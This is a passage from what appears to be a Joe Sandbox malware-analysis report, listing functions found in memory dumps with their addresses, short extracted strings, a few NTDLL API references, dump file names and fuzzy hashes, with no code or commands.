$]q, xrefs: 0942823D
Haq, xrefs: 09427FD3
$]q, xrefs: 09428458
4c]q, xrefs: 0942826F
Haq, xrefs: 09428004
Haq, xrefs: 09427B64
Haq, xrefs: 09427F8C
$]q, xrefs: 094284A5
LR]q, xrefs: 09427BAD
Haq, xrefs: 09427F5B
$]q, xrefs: 094284B5
4|bq, xrefs: 094289ED
c]q, xrefs: 09427AC9
4c]q, xrefs: 0942825D
4']q, xrefs: 094285F6
$]q, xrefs: 094285E7

Memory Dump Source

Source File: 00000000.00000002.3298078122.0000000009420000.00000040.00000800.00020000.00000000.sdmp, Offset: 09420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9420000_file.jbxd

Similarity

API ID:
String ID: 4']q$4c]q$4c]q$4c]q$4|bq$Haq$Haq$Haq$Haq$Haq$LR]q$$]q$$]q$$]q$$]q$$]q$c]q
API String ID: 0-2133785123
Opcode ID: 0a54cb0de414d2ad5ad15f7fc4fc07eae16bc632ba17dd824e972ef032e47b6f
Instruction ID: 89e2351bb90d4fc4b81fa7f80e2cbfc77c283f277f6ace2fed28fa2c722decdc
Opcode Fuzzy Hash: 0a54cb0de414d2ad5ad15f7fc4fc07eae16bc632ba17dd824e972ef032e47b6f
Instruction Fuzzy Hash: E0B2A130B002258FDB18DF7AC4506AEBBF6BF89304F54846AE845DB395DA35ED42CB61

Function 085B70B8 Relevance: 8.3, Strings: 6, Instructions: 780
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ljdp, xrefs: 085B7B46
(aq, xrefs: 085B7610
(aq, xrefs: 085B7148
Dqdp, xrefs: 085B79B1
0odp, xrefs: 085B79A5
(aq, xrefs: 085B7196

Memory Dump Source

Source File: 00000000.00000002.3293527481.00000000085B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85b0000_file.jbxd

Similarity

API ID:
String ID: (aq$(aq$(aq$0odp$Dqdp$Ljdp
API String ID: 0-15982397
Opcode ID: 620cff3278552a07335e9308e2ff54f981b40416f356d1b9843d294b0db330f7
Instruction ID: 14e4ad37b0f247657279f39c4bf7e144f5bd89efeda2446f7dca747e5253ee88
Opcode Fuzzy Hash: 620cff3278552a07335e9308e2ff54f981b40416f356d1b9843d294b0db330f7
Instruction Fuzzy Hash: AF622775A002149FDB14DFA8D494AADBBF2FF88311F1584A9E806EB361DB31ED46CB50

Function 0898DD99 Relevance: 6.7, Strings: 5, Instructions: 421
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 0898E248
Haq, xrefs: 0898E201
Haq, xrefs: 0898E158
Haq, xrefs: 0898E1BA
Haq, xrefs: 0898E189

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID: Haq$Haq$Haq$Haq$Haq
API String ID: 0-1792267638
Opcode ID: bdaba3602e8b0f4dbcacecf64a727e8f4308bd807997011204bd7e1abd209047
Instruction ID: 3ab8862a7f07cdb91a66508e0dc61ba6bb02c3bffbb4f68653cdf1d3e44613fd
Opcode Fuzzy Hash: bdaba3602e8b0f4dbcacecf64a727e8f4308bd807997011204bd7e1abd209047
Instruction Fuzzy Hash: 8B02A131A04257CFCB19EF74D4501ADFBB2FF85305F248A6ED446AB282DB749A85CB90

Function 08983BB8 Relevance: 2.9, Strings: 2, Instructions: 389COMMON

Download Yara Rule

Strings

pUG , xrefs: 08983E87
bN/, xrefs: 08983CE1

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID: bN/$pUG
API String ID: 0-252872381
Opcode ID: 2ad59ca58ed52a5c9bdc824f2549568696ac29bfd121622abb8d78f5f5347fc5
Instruction ID: 5501766df9dc534c8b6bf36011503fc9617ce4db4fcd2e93f303431650001922
Opcode Fuzzy Hash: 2ad59ca58ed52a5c9bdc824f2549568696ac29bfd121622abb8d78f5f5347fc5
Instruction Fuzzy Hash: 4112D774A01219CFDB64DF65C850BAEBBB2FF88304F1085A9D50AAB351DB315E86CF51

Function 0898BE98 Relevance: 2.9, Strings: 2, Instructions: 377COMMON

Download Yara Rule

Strings

1, xrefs: 0898C19D
., xrefs: 0898C118

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID: .$1
API String ID: 0-1839485796
Opcode ID: dbfd50e4fe1ab9f2331cb6d9c1efaf9f0a44591ba93c15d857cddf39d9d7b71b
Instruction ID: a64b2fc4150d08caed7460e17cf1353dfff250f3732765ddbc89b9bdc3fff118
Opcode Fuzzy Hash: dbfd50e4fe1ab9f2331cb6d9c1efaf9f0a44591ba93c15d857cddf39d9d7b71b
Instruction Fuzzy Hash: E302E074E01229CFDB68DF65C884BDDBBB2BF89305F1091A9D40AA7290DB355E85CF50

Function 08983BA8 Relevance: 2.8, Strings: 2, Instructions: 256COMMON

Download Yara Rule

Strings

pUG , xrefs: 08983E87
bN/, xrefs: 08983CE1

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID: bN/$pUG
API String ID: 0-252872381
Opcode ID: 5baae8fc5dae71f357d6a0ade086832d15a532aa3901062117420330b3267d3c
Instruction ID: f1c73b574c4022e2a70e9c15898eefd912d59c9788ef12f7bf8bacc44cbffa37
Opcode Fuzzy Hash: 5baae8fc5dae71f357d6a0ade086832d15a532aa3901062117420330b3267d3c
Instruction Fuzzy Hash: 9CC1E974A01219CFEB24DFA5C850BAEBBB2FF88304F1085AAD40AAB355DB355D85CF51

Function 089898F8 Relevance: 2.7, Strings: 2, Instructions: 242COMMON

Download Yara Rule

Strings

$]q, xrefs: 08989A9B
$]q, xrefs: 08989AAB

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 43d88177f23fce8f4176434b1e663f54e5f4a1c882903719910a3c9d1fd5c950
Instruction ID: 90d9823997a4470929ebf93cf6490cd0645ca7a505ddbea5b610837f59d36fb1
Opcode Fuzzy Hash: 43d88177f23fce8f4176434b1e663f54e5f4a1c882903719910a3c9d1fd5c950
Instruction Fuzzy Hash: 44B1D574E01218CFDB58DFA9D484AADBBF2FF49305F5085A9E40AAB355DB35A981CF00

Function 085BB270 Relevance: 2.7, Strings: 2, Instructions: 202COMMON

Download Yara Rule

Strings

$]q, xrefs: 085BB363
$]q, xrefs: 085BB421

Memory Dump Source

Source File: 00000000.00000002.3293527481.00000000085B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85b0000_file.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 0f099281b24dabbf5e933cb826bcd1154fc7fcb23a353a5b6d7ed7272a58b04e
Instruction ID: 65bab10c5ed841617d51474814e55f367f603e7b754749deb1d6679a8224427e
Opcode Fuzzy Hash: 0f099281b24dabbf5e933cb826bcd1154fc7fcb23a353a5b6d7ed7272a58b04e
Instruction Fuzzy Hash: 9761B0B4E01208DFDB15DFA9C890ADDBBB2FF89311F64812AD405BB265DB35A846CF50

Function 08987268 Relevance: 2.0, Strings: 1, Instructions: 758COMMON

Download Yara Rule

Strings

@B/, xrefs: 0898758F

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID: @B/
API String ID: 0-3863299084
Opcode ID: f7965d2ae3dcb14cdfbce45ae3080181aff70ecd4cdb58cee7a114e1efad2ff5
Instruction ID: 27f49902406e8f88d6ac9a30a70324f4471bbd59dd5adc6a4d33915f78004480
Opcode Fuzzy Hash: f7965d2ae3dcb14cdfbce45ae3080181aff70ecd4cdb58cee7a114e1efad2ff5
Instruction Fuzzy Hash: 8D82AE74A01229DFDB64EF69C984BDDBBB2BB89305F1081EAD409A7351DB319E81CF50

Function 085141E0 Relevance: 1.9, Strings: 1, Instructions: 628COMMON

Download Yara Rule

Strings

(aq, xrefs: 085146C1

Memory Dump Source

Source File: 00000000.00000002.3292732849.0000000008510000.00000040.00000800.00020000.00000000.sdmp, Offset: 08510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8510000_file.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 78bf171a2b469e0faa1a84ee5c88744012f2a26b4cfd37c7a0a0c58bf7b1a8fe
Instruction ID: eace09da1e4441941f9e19145e7853115d9a99da096e4a81fade72bbb1bb7bda
Opcode Fuzzy Hash: 78bf171a2b469e0faa1a84ee5c88744012f2a26b4cfd37c7a0a0c58bf7b1a8fe
Instruction Fuzzy Hash: BE32BB74A042449FDB15DB68D494AAEBBF2FF88311F1484A9E805DB352DB34EC46CBA1

Function 08984A98 Relevance: 1.8, Strings: 1, Instructions: 543COMMON

Download Yara Rule

Strings

&, xrefs: 08984B85, 08984B8A

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-2822232526
Opcode ID: 8c04df775e6af1ee275e109fc8fd25cabd3bf31a01eb55fcae3a20086d2ff4c0
Instruction ID: 9dfd0b64e5abbdd8b3835c943018e7b0a016ede8318dbd2bcf6fe37889afc7ce
Opcode Fuzzy Hash: 8c04df775e6af1ee275e109fc8fd25cabd3bf31a01eb55fcae3a20086d2ff4c0
Instruction Fuzzy Hash: 2342BE74A01229CFDB64DF64C850BEEBBB2BF89305F1085EAD40AA7250DB355E85CF91

Function 044A0890 Relevance: 1.8, APIs: 1, Instructions: 285libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 044A0A99

Memory Dump Source

Source File: 00000000.00000002.3279631068.00000000044A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_44a0000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0086ad46fc53afd2dab121db4f615d03c996789530ec5cdc423f943c7b23fc99
Instruction ID: b480f17817198b887fec855f3017676e1908a458db553e88732ae5f7cf18a1d8
Opcode Fuzzy Hash: 0086ad46fc53afd2dab121db4f615d03c996789530ec5cdc423f943c7b23fc99
Instruction Fuzzy Hash: 4CB1F8347505008FDB54DF39C998A2A7BE6FF98B14B1585A9E90ACB3B1DB31EC05CB80

Function 0851CDF0 Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

APIs

EtwEventRegister.NTDLL(?,0851CD71,?,00000000), ref: 0851CEAA

Memory Dump Source

Source File: 00000000.00000002.3292732849.0000000008510000.00000040.00000800.00020000.00000000.sdmp, Offset: 08510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8510000_file.jbxd

Similarity

API ID: EventRegister
String ID:
API String ID: 3840811365-0
Opcode ID: 5ad2c230ae32962ff223d4508981355e30f85b93492af673a57616d655a3dfde
Instruction ID: ef67feca0471dc6d99d1eaa0f6e57b63edf8e1f727ce03168ffa3c9c168bfc24
Opcode Fuzzy Hash: 5ad2c230ae32962ff223d4508981355e30f85b93492af673a57616d655a3dfde
Instruction Fuzzy Hash: 96419AB4D012489FCF14CFA9E584AEEFBF1BB49310F24902AE414B7210D335A945CF64

Function 0851C9CC Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

EtwEventRegister.NTDLL(?,0851CD71,?,00000000), ref: 0851CEAA

Memory Dump Source

Source File: 00000000.00000002.3292732849.0000000008510000.00000040.00000800.00020000.00000000.sdmp, Offset: 08510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8510000_file.jbxd

Similarity

API ID: EventRegister
String ID:
API String ID: 3840811365-0
Opcode ID: 122e88479d6a2b66a2f265a1c91386fff97044e0e72ae859c373c8a8442316fd
Instruction ID: c1b32d075de5b7a1908121b90659ad4bf18165fdf3dff9917b545ba6c8f1cb04
Opcode Fuzzy Hash: 122e88479d6a2b66a2f265a1c91386fff97044e0e72ae859c373c8a8442316fd
Instruction Fuzzy Hash: AA418AB5D052589FCF14CFA9E584AEEFBF1BB49310F20902AE414B7210D735A945CFA4

Function 07C61299 Relevance: 1.6, Strings: 1, Instructions: 345COMMON

Download Yara Rule

Strings

lh, xrefs: 07C61541

Memory Dump Source

Source File: 00000000.00000002.3290856674.0000000007C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c60000_file.jbxd

Similarity

API ID:
String ID: lh
API String ID: 0-3884546310
Opcode ID: 0d2aec51d4d6752946c52f6b732e22061a404d786f7a26e38dec743a57b08234
Instruction ID: 59c2fbb93bce8fbf8915586cc5a7fc871b81414f7df9938e3b5ec9c27774c92c
Opcode Fuzzy Hash: 0d2aec51d4d6752946c52f6b732e22061a404d786f7a26e38dec743a57b08234
Instruction Fuzzy Hash: 51F11A74A00218CFDB68EFB4D855AADBBB2FF8A301F1081A9D40AAB354DB355985CF51

Function 08987FD8 Relevance: 1.6, Strings: 1, Instructions: 323COMMON

Download Yara Rule

Strings

l8p, xrefs: 089882E9

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID: l8p
API String ID: 0-517329999
Opcode ID: 5e38a4114e31df9c185e406ac4cf391839c0efbf5100a817fe768ae245bcfe16
Instruction ID: b1519c7956ca568821d3e8809ad0c9ad8f2235345dbd896e27ef93491d212e2f
Opcode Fuzzy Hash: 5e38a4114e31df9c185e406ac4cf391839c0efbf5100a817fe768ae245bcfe16
Instruction Fuzzy Hash: C2E1E174E01229CFEB64DFA5C940B9EBBB2BF89305F5081AAC509B7250DB345E85CF51

Function 08571F5C Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

(_]q, xrefs: 0857215A

Memory Dump Source

Source File: 00000000.00000002.3293051322.0000000008570000.00000040.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8570000_file.jbxd

Similarity

API ID:
String ID: (_]q
API String ID: 0-188044275
Opcode ID: c3ea6b49db65d89db821bb530d415f66227c5330ce4a69e12533758f67531962
Instruction ID: ffe95edbe51d413e16145336a5f4fecadcd6d9f3d9fa77e70ed81def213cda05
Opcode Fuzzy Hash: c3ea6b49db65d89db821bb530d415f66227c5330ce4a69e12533758f67531962
Instruction Fuzzy Hash: 99A12934A00219CFDB15DF69D888A9DBBB2FF88305F11C5A9E446AB251DF30A945CF50

Function 07C49309 Relevance: 1.5, Strings: 1, Instructions: 206COMMON

Download Yara Rule

Strings

HiA, xrefs: 07C49480

Memory Dump Source

Source File: 00000000.00000002.3290723663.0000000007C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c40000_file.jbxd

Similarity

API ID:
String ID: HiA
API String ID: 0-2939248024
Opcode ID: 6b4604fde3ae044c3754aa6fe56ba6f094188d9e127e20f972e2f85d5227bb5b
Instruction ID: ae225ce5875523a62efb005cb9de20b46bc7fd6a07e1241a083fa1ad6bc4b808
Opcode Fuzzy Hash: 6b4604fde3ae044c3754aa6fe56ba6f094188d9e127e20f972e2f85d5227bb5b
Instruction Fuzzy Hash: 30912074B002089FDB08DFE8E5956BE7BF6EF88305F104429E906AB795CB356C09CB54

Function 07C49318 Relevance: 1.5, Strings: 1, Instructions: 202COMMON

Download Yara Rule

Strings

HiA, xrefs: 07C49480

Memory Dump Source

Source File: 00000000.00000002.3290723663.0000000007C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c40000_file.jbxd

Similarity

API ID:
String ID: HiA
API String ID: 0-2939248024
Opcode ID: 079498f80ee1f12a1f0d7acf843bd0d3a1df9b918ace84431774c9933269515c
Instruction ID: 48a5115a92e05cdb0854e6b08ed2ffbf4372469e4aff0e370106844bb4d5aa68
Opcode Fuzzy Hash: 079498f80ee1f12a1f0d7acf843bd0d3a1df9b918ace84431774c9933269515c
Instruction Fuzzy Hash: AC812074B002089FDB08DFE8E5956BE7BF6EF88305F104429E906AB795CB396D09CB54

Function 08988C18 Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

Sp, xrefs: 08988CF7, 08988CFC

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID: Sp
API String ID: 0-631434039
Opcode ID: 4448cb58fb466af5ee031e36d26db8f55afdc3e63de2935276e12ceb218aeaff
Instruction ID: c18bbe8395859ac02eccf85e1433fbd014513f1f69c07132295ec9469e49a6f9
Opcode Fuzzy Hash: 4448cb58fb466af5ee031e36d26db8f55afdc3e63de2935276e12ceb218aeaff
Instruction Fuzzy Hash: 8E911674E01219CFDB24EFA8D944B9DBBB2FF89305F1085A9D809B7251DB306A85CF51

Function 085BCAFA Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

$]q, xrefs: 085BCC5D

Memory Dump Source

Source File: 00000000.00000002.3293527481.00000000085B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85b0000_file.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: 6d705c8a287b1689d40859045c9a676ef85fe54375fb5427dac7bc707054e638
Instruction ID: 7e163b5eb9428fe0ead86b3c522d50f36d1a7f13c5c9009945b6219111be3947
Opcode Fuzzy Hash: 6d705c8a287b1689d40859045c9a676ef85fe54375fb5427dac7bc707054e638
Instruction Fuzzy Hash: B7512474E00248CFDB18DFA9D495AEEBBB2BF59301F20942AD416AB350DB349C45CF55

Function 0898A0C0 Relevance: 1.4, Instructions: 1365COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 040c0d84634fd762de58bfe472c6288c98bbfa6fd2ba2734b2f22e63f95eef2f
Instruction ID: aab546a78e50a4b8a79bbb942478ec9d865429b0e894145d25871c063d75c08d
Opcode Fuzzy Hash: 040c0d84634fd762de58bfe472c6288c98bbfa6fd2ba2734b2f22e63f95eef2f
Instruction Fuzzy Hash: 89E2CF74A012298FDB65EF28D895B9EB7B6EB89305F1081E9D80DA7350DB346E85CF40

Function 084E11A8 Relevance: 1.1, Instructions: 1082COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3292519683.00000000084E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 084E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51e05f793bda44006703f6a6dfe75964fb16a58cf9b91ffdb1e43bf248ddacb9
Instruction ID: 3630b76afe915bb3107c038e191e73c16ca6c228fd34a02da65132fec032d36d
Opcode Fuzzy Hash: 51e05f793bda44006703f6a6dfe75964fb16a58cf9b91ffdb1e43bf248ddacb9
Instruction Fuzzy Hash: 8C92B030B40205DFDB14DF65D894A6EBBB6FF88312F14856AE8069B365DB34EC46CB90

Function 0851D770 Relevance: 1.0, Instructions: 1031COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3292732849.0000000008510000.00000040.00000800.00020000.00000000.sdmp, Offset: 08510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8510000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 927c0c4a13b24215c91871c3042df4d7f0260a2b38e878508a8d384c271b3d0b
Instruction ID: 842cff2d36836508ba032596738eb27612721018481b44c3f3cc4b1870309184
Opcode Fuzzy Hash: 927c0c4a13b24215c91871c3042df4d7f0260a2b38e878508a8d384c271b3d0b
Instruction Fuzzy Hash: 28925970B003498FEB24DF68C45476EBBB2BF84301F1485A9D84AAB395DB75ED46CB90

Function 07C6EAA8 Relevance: .9, Instructions: 933COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3290856674.0000000007C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0369d5f4f37fa38d26a0de79c3fabbf19c3659f678280fc92a965ee4a607d732
Instruction ID: f58a389c12b6064c460b822e4296f5736024ed7b2dfeda344b9f423ed85a5403
Opcode Fuzzy Hash: 0369d5f4f37fa38d26a0de79c3fabbf19c3659f678280fc92a965ee4a607d732
Instruction Fuzzy Hash: 14820C74B002158FDB14DF64D898B6DBBB2FF88311F1085A9E90A9B3A5DB34AD42CF51

Function 0898EEF8 Relevance: .8, Instructions: 814COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f7d0574f977168dc6f70952a2afc8c0f451dc91de86d782b8fb2912c7d44c1e
Instruction ID: 2631f821fbf8d230dd691aaa18aa355c4049c7e1a8ed3149d0ef419d80eb126b
Opcode Fuzzy Hash: 2f7d0574f977168dc6f70952a2afc8c0f451dc91de86d782b8fb2912c7d44c1e
Instruction Fuzzy Hash: D1829B34624256CFDF24EF28D558B6977B5FB88309F1041AED8499B3A1EB34D886CF42

Function 084E8218 Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3292519683.00000000084E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 084E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8888bd414b28ee13849d44087065988e8f7568cad27e2e1970ba11bf7dfe878d
Instruction ID: 398fb734aa218d506adcdec3150c57aceb6ed0d5b493d5aafe76c66488070105
Opcode Fuzzy Hash: 8888bd414b28ee13849d44087065988e8f7568cad27e2e1970ba11bf7dfe878d
Instruction Fuzzy Hash: 9822AE70B003419FDB249F79986872E7AE2BFC8712F14486EE806C7396DE39DC068791

Function 07C48A10 Relevance: .5, Instructions: 524COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3290723663.0000000007C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09e74c93e91261430ce1db57940758a275949e939e0c174dcb04210a9fb2c815
Instruction ID: 1a60829aecbaa631be7c2623f6471c04107c1c4045e315149127dce5144e858a
Opcode Fuzzy Hash: 09e74c93e91261430ce1db57940758a275949e939e0c174dcb04210a9fb2c815
Instruction Fuzzy Hash: AD3204B5901228DFDB65DF65C944BD9BBB2FF8A304F0090E9D509A72A1DB35AE84CF40

Function 08988F90 Relevance: .4, Instructions: 433COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f864285d09737b2ef64166ea6053fa9515d2baa81e44a289816bbb335c63e173
Instruction ID: 50995a9867fdd4a186410ae7510f9f0ff3efbb22ad53b72c04951af383401a95
Opcode Fuzzy Hash: f864285d09737b2ef64166ea6053fa9515d2baa81e44a289816bbb335c63e173
Instruction Fuzzy Hash: DB229074E00229CFDB65DF69C890BE9BBB2BF89305F1085EAD509A7250DB305E85CF90

Function 089861D0 Relevance: .4, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88d3e989ddbfd77ae1464e81c0b4e4f60ce36d91eeb32cbe8483447502575262
Instruction ID: e8848cac1dc32b0fb7a66c73bba6f7552a96f487c371023872116174cfdd96d2
Opcode Fuzzy Hash: 88d3e989ddbfd77ae1464e81c0b4e4f60ce36d91eeb32cbe8483447502575262
Instruction Fuzzy Hash: 3A226AB4E01229CFDB65DF69C990B9DBBB2BB49305F1081EAD509AB350DB319E85CF40

Function 08980590 Relevance: .4, Instructions: 412COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4eae5e9b526e82ad97ee2e273f38d9125c8c9bf150e99ab12f21f03fd80a681e
Instruction ID: 182c1e201676f144032ff87e006027330f1dbfb9a5cb34cbf28054c3d4436af6
Opcode Fuzzy Hash: 4eae5e9b526e82ad97ee2e273f38d9125c8c9bf150e99ab12f21f03fd80a681e
Instruction Fuzzy Hash: 9202E470D0061ACFEF20EFA8C885B9DBBB1BF49305F1085AAD419B7250EB749A85CF55

Function 089813C0 Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b84848f75eaefa9e6fb049b10bca351171fe27de6dfd78b91673e74e9eb4cf18
Instruction ID: 02d12d3ca261bd5da7cd1afdab822d04da2731abc8fff554ef4985eac40c71d1
Opcode Fuzzy Hash: b84848f75eaefa9e6fb049b10bca351171fe27de6dfd78b91673e74e9eb4cf18
Instruction Fuzzy Hash: 9FF1E370D00229CFDB20EFA8C985BDDBBF1BF49305F1481AAD409A7250EB749986CF55

Function 08576D00 Relevance: .4, Instructions: 386COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3293051322.0000000008570000.00000040.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c46627e1696fb61767d56020fb2a0b981a896a4dd1c24269b7d831962bbddfa9
Instruction ID: 418fcbd71649bf7aab5fd02f7b1563eb16640ebb51775dddb82f84f0bb3dbb2b
Opcode Fuzzy Hash: c46627e1696fb61767d56020fb2a0b981a896a4dd1c24269b7d831962bbddfa9
Instruction Fuzzy Hash: EAE19270A042108FDB14DF68E088A9EBBE1BF88311F15C4A9E805EB346DB75ED45CFA1

Function 07C48A02 Relevance: .4, Instructions: 350COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3290723663.0000000007C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1deb573cb972237c1315dcfe9f362557fd0c4ec1a10f007c726fa84d335fbd52
Instruction ID: 42b13c88105faf9ec3f8d8f2b1dbb4454bda57b0e463406f0325a9d7763b543f
Opcode Fuzzy Hash: 1deb573cb972237c1315dcfe9f362557fd0c4ec1a10f007c726fa84d335fbd52
Instruction Fuzzy Hash: 45F1F3B5901228DFEB65DF65D944BD9BBB2FF49304F0080E9D509A7261DB35AE84CF40

Function 084E2C58 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

